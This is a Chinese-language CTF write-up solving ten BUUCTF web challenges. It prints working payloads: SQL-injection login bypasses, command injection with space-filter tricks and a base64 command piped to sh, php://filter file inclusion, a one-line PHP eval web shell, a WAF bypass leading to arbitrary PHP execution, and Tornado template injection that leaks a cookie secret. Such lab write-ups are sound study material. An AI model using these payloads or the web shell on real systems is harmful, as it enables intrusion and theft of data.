1、[极客大挑战 2019]EasySQL
这题根本没有过滤,我还瞎忙半天。以后遇到SQL先sqlmap看看能不能一发入魂。
盲猜后台执行的SQL语句为
select * from table_name where username='$username' and password='$password';
上万能密码:
http://d9547eb7-59fa-476c-9fdc-8053867bbef7.node3.buuoj.cn/check.php?username=admin1'||'1'='1&password=1'||'1'='1
这样后台的语句就变成如下:
select * from table_name where username='admin'||'1'='1' and password='1'||'1'='1';
就上去了:
实际上这里没有任何过滤,完全可以使用注释符把后面的单引号注释掉,然后脱裤。
2、[GXYCTF2019]Ping Ping Ping
我常常因为不够骚而感觉和大佬们格格不入。
可以看到ls执行成功,先粗暴一点, cat flag.php看看
空格被过滤了。试试尖括号:
尖括号也不行,换一个姿势绕过:
这里放一个空格绕过的姿势合集:
Linux绕过空格:
cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
http://7e6b5315-adee-44c5-b612-a4064e1a8aad.node3.buuoj.cn/?ip=1;cat$IFS$9flag.php
可以看到flga被过滤了,看看index.php能不能显示出来:
直接给出了源代码。
可以看到bash也用不了。
用sh试试吧:
?ip=2;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
怎么是白屏
???
看了别人的WP才发现在源代码里面。这也太狗了:
然后还有一种更骚的操作:
?ip=2;cat$IFS$9`ls`
反引号内的命令执行结果作为前面cat的输入。
3、[ACTF2020 新生赛]Include
这道题是文件包含。开始我也想复杂了,猜是文件包含+伪协议写shell然后在shell里面执行系统命令查找flag。
但是手头没有burp,不好用post方式写shell,于是想着先看看flag.php的源码吧:
http://98d45c27-3592-4593-8545-d7af31c876eb.node3.buuoj.cn/?file=php://filter/convert.base64-encode/resource=flag.php
这段payload使用伪协议查看文件源码:
拿去base64一下,好家伙一把梭哈:
改天再研究伪协议+文件包含写shell看看
4、[ACTF2020 新生赛]BackupFile
开dirsearch扫描发现一个index.php.bak。
下载下来审计:
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
$key = intval($key);
看到这句,来看看intval这个函数的描述:
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
然后底下又是弱类型比较,所以传一个参数?key=123就可以拿到flag了。
5、[极客大挑战 2019]Secret File
抓包发现:
点进去:
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
文件包含。
然后说在flag.php里,那就先访问flag.php看看:
那就包含它访问源码:
?file=php://filter/convert.base64-encode/resource=flag.php
然后flag就出来了。
6、[ACTF2020 新生赛]Upload
上传一个phtml后缀的文件就可以绕过黑名单:
<script language='php'>@eval($_POST['a']);</script>
根目录下发现flag:
7、[极客大挑战 2019]Knife
题目给的地址在蚁剑里添加进去,根目录有flag{3261249a-c531-4513-aca5-44ecef57b06a}。
8、[RoarCTF 2019]Easy Calc
查看html源码:
<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>简单的计算器</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="./libs/bootstrap.min.css">
<script src="./libs/jquery-3.3.1.min.js"></script>
<script src="./libs/bootstrap.min.js"></script>
</head>
<body>
<div class="container text-center" style="margin-top:30px;">
<h2>表达式</h2>
<form id="calc">
<div class="form-group">
<input type="text" class="form-control" id="content" placeholder="输入计算式" data-com.agilebits.onepassword.user-edited="yes">
</div>
<div id="result"><div class="alert alert-success">
</div></div>
<button type="submit" class="btn btn-primary">计算</button>
</form>
</div>
<!--I've set up WAF to ensure security.-->
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>
</body></html>
提示设置了过滤,直接访问calc.php看看,拿到代码,审计之:
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
这里过滤了一堆黑名单,但是无论怎么写都是400,403和500。
由于WAF的存在,我们首先要让字母过WAF.
所以在num前面加一个空格。假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉
所以就可以执行任意php语句了。
这样构造:
http://node3.buuoj.cn:29574/calc.php?%20num=1;var_dump(scandir(chr(47)))
这里再记录一下var_dump函数的用途(对PHP不熟真是硬伤):
php var_dump 函数作用是判断一个变量的类型与长度,并输出变量的数值,如果变量有值输的是变量的值并回返数据类型.
扫到目录之后打开:
这里记录一下file_get_contents函数的作用:
file_get_contents() 把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
这里使用ascii绕过黑名单过滤,chr() 函数从指定 ASCII 值返回字符。
所以ascii的 47 102 49 97 103 103就是:
flagg
9、[极客大挑战 2019]LoveSQL
送分题。先上万能密码
再爆列数:
爆表名:
这里返回的结果过多,使用GROUP_CONCAT()合并一下:
发现了两个表:geekuser、l0ve1ysq1。
先看看l0ve1ysq1:
爆列名:
在最后看到flag了。
成功拿到flag:
接下来用SqlMap一把梭哈:
然后竟然失败了:
诡异了。
这里只能盲猜sqlmap被ban了,不能一把梭哈。但是无所谓了,手工注入能注出来也行。
10、[护网杯 2018]easy_tornado
这一题也是我知识的盲区,此前从来没有学习过服务端模板注入,这里趁机学习一波:
服务端模板注入和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
如果服务端将用户的输入作为了模板的一部分,那么在页面渲染时也必定会将用户输入的内容进行模版编译和解析最后输出。
一般的模板引擎里,双花括号{{}}除了可以传递变量外,还能执行一些基本的表达式然后将其结果作为该模板变量的值,例如这里用户输入 name={{2*10}} ,则在服务端拼接的模版内容为:
Hello {{2*10}}
同常规的 SQL 注入检测,XSS 检测一样,模板注入漏洞的检测也是向传递的参数中承载特定 Payload 并根据返回的内容来进行判断的。每一个模板引擎都有着自己的语法,Payload 的构造需要针对各类模板引擎制定其不同的扫描规则,就如同 SQL 注入中有着不同的数据库类型一样。
简单来说,就是更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,有解析则可以判定含有 Payload 对应模板引擎注入,否则不存在 SSTI。
知识学完,来操作一波,题目给了提示tornado。翻阅文档知道Tornado 是一个基于Python的Web服务框架和 异步网络库, 最早开发与 FriendFeed 公司. 通过利用非阻塞网络 I/O, Tornado 可以承载成千上万的活动连接, 完美的实现了 长连接, WebSockets, 和其他对于每一位用户来说需要长连接的程序。
关于模板那部分:
模版语法
Tornado 模本文件仅仅是一个 HTML (或者其他基于文本的文件格式) 附加 Python 控制语句和内建的表达式:
<html>
<head>
<title>{{ title }}</title>
</head>
<body>
<ul>
{% for item in items %}
<li>{{ escape(item) }}</li>
{% end %}
</ul>
</body>
</html>
如果你将这个模版文件保存为 “template.html” 然后将你的 Python 文件保存在同一目录, 你可以用这种方式来使用模版:
class MainHandler(tornado.web.RequestHandler):
def get(self):
items = ["Item 1", "Item 2", "Item 3"]
self.render("template.html", title="My title", items=items)
Tornado 模版支持 控制语句 (control statements) 和 表达式 (expressions) . 控制语句被 {% and %} 包裹着, 例如., {% if len(items) > 2 %}. 表达式被 {{ 和 }} 围绕, 再例如., {{ items[0] }}.
模版中的控制语句多多少少与 Python 中的控制语句相映射. 我们支持 if, for, while, 和 try, 所有这些都包含在 {% %} 之中. 我们也支持 模板继承 使用 extends 和 block 语句, 详见 tornado.template.
表达式可以时任何的 Python 表达式, 包括函数调用. 模版代码可以在以下对象和函数的命名空间中被执行. (注意这个列表可用在 RequestHandler.render 和 render_string. 如果你直接在 RequestHandler 外使用 tornado.template 模块, 下面许多别名是不可用的).
escape: tornado.escape.xhtml_escape 的别名
xhtml_escape: tornado.escape.xhtml_escape 的别名
url_escape: tornado.escape.url_escape 的别名
json_encode: tornado.escape.json_encode 的别名
squeeze: tornado.escape.squeeze 的别名
linkify: tornado.escape.linkify 的别名
datetime: Python datetime 模块
handler: 目前的 RequestHandler 对象
request: handler.request 的别名
current_user: handler.current_user 的别名
locale: handler.locale 的别名
_: handler.locale.translate 的别名
static_url: handler.static_url 的别名
xsrf_form_html: handler.xsrf_form_html 的别名
reverse_url: Application.reverse_url 的别名
所有 ui_methods 和 ui_modules 的 Application 设置
所有传递给 render 或者 render_string 的参数
当你真正创建一个应用程序时, 你可能会去查看所有 Tornado 模版的特性, 特别时模版继承. 这些内容详见 tornado.template 部分 (某些特性, 包括 UIModules 在 tornado.web 模块中描述)
查阅文档的代码知道cookie_secrect存在于Application对象settings属性中: self.application.settings["cookie_secret"]
"""Returns the given signed cookie if it validates, or None.
The decoded cookie value is returned as a byte string (unlike
`get_cookie`).
Similar to `get_cookie`, this method only returns cookies that
were present in the request. It does not see outgoing cookies set by
`set_secure_cookie` in this handler.
.. versionchanged:: 3.2.1
Added the ``min_version`` argument. Introduced cookie version 2;
both versions 1 and 2 are accepted by default.
"""
self.require_setting("cookie_secret", "secure cookies")
if value is None:
value = self.get_cookie(name)
return decode_signed_value(
self.application.settings["cookie_secret"],
name,
value,
max_age_days=max_age_days,
min_version=min_version,
)
查看这个 self.application.settings["cookie_secret"],发现其有一个别名
因此构造payload:http://66fc1f69-6d23-4441-962b-bed669a7ce8a.node3.buuoj.cn/error?msg={{handler.settings}}
得到cookie_secrect:
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '46524a7c-46b6-4428-a2ce-f8ea3509babe'}
然后就计算md5:
import hashlib
def md5(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
cookie_secret = '46524a7c-46b6-4428-a2ce-f8ea3509babe'
filename= '/fllllllllllllag'
fuck = md5(cookie_secret +md5(filename))
print (fuck)
拿到flag: